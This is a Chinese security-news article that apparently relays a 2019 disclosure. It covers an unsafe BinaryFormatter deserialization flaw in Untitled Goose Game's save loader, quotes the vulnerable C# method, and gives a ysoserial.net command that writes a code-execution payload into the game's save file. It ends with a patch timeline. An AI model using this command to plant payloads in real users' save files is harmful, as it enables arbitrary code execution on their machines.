freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

无题大鹅模拟游戏(Untitled Goose Game)存在代码可执行漏洞
2019-12-02 13:00:51

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

maxresdefault.jpg

Untitled Goose Game(无题大鹅模拟、捣蛋鹅)是一款画风简单的第三人称模拟类游戏,通过模拟一只大鹅去完成一些捣乱任务,是House House制作的一款农场题材搞笑游戏。经作者发现,Untitled Goose Game由于在其游戏存档加载器(Save Game Loader)中存在不安全的反序列化机制从而可导致代码执行漏洞,攻击者可以针对目标玩家的在启动游戏存档加载器时实施恶意代码执行攻击。

漏洞详情

Untitled Goose Game使用.NET的BinaryFormatter去读取和反序列化游戏存档文件,由于其中未采用特定的SerializationBinder去控制反序列化过程,因此,控制了游戏存档文件的攻击者可以利用其反序列化过程来执行任意代码。攻击者只需在游戏存档文件中写入一个恶意的序列化对象,让Untitled Goose Game去读取即可实现攻击。游戏存档文件在操作系统中的存储位置为C:\Users\<USER>\AppData\LocalLow\House House\Untitled Goose Game\savegame0.save.

Untitled Goose Game中的反序列化过程发生在Untitled_Data\Managed\Assembly-CSharp.dll文件的StandaloneSaveSystem类中,以下是其中存在安全风险的方法函数:

public SaveGameData LoadSlot(int slot)

 {

  string savePath = this.GetSavePath(slot);

  SaveGameData result;

  if (File.Exists(savePath))

  {

   Debug.Log("loading from " + savePath);

   using (FileStream fileStream = File.Open(savePath, FileMode.Open))

   {

    result = (SaveGameData)new BinaryFormatter().Deserialize(fileStream);

   }

   Debug.Log("sucessfully loaded savegame data from " + savePath);

  }

  else

  {

   Debug.Log("savefile doesn't exist. didn't load any data");

   result = new SaveGameData();

  }

  return result;

 }

漏洞利用所需工具

要成功利用该漏洞,需要用到 James Forshaw 改进过的一个反序列组件TypeConfuseDelegate,具体可以参考此处。其实,该改进组件已经整合到了反序列化工具ysoserial.net中了,可以在此下载

可用以下命令生成PoC漏洞利用:

ysoserial.exe -f BinaryFormatter -t TypeConfuseDelegateMono -o raw -c "calc" > "C:\Users\<user>\AppData\LocalLow\House House\Untitled Goose Game\savegame0.save"

新发布的TypeConfuseDelegateMono组件,可用来发起对其它基于MONO平台开发游戏的攻击测试。

漏洞上报处置进程

07/10/2019 - 向House House公司通报

09/10/2019 - House House确认漏洞

22/10/2019 - House House发布补丁

29/10/2019 - 公开漏洞

*参考来源:pulsesecurity,clouds编译整理,转载请注明来自FreeBuf.COM

本文作者:, 转载请注明来自FreeBuf.COM

# Untitled Goose Game # 代码可执行漏洞 # 无题大鹅模拟游戏
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑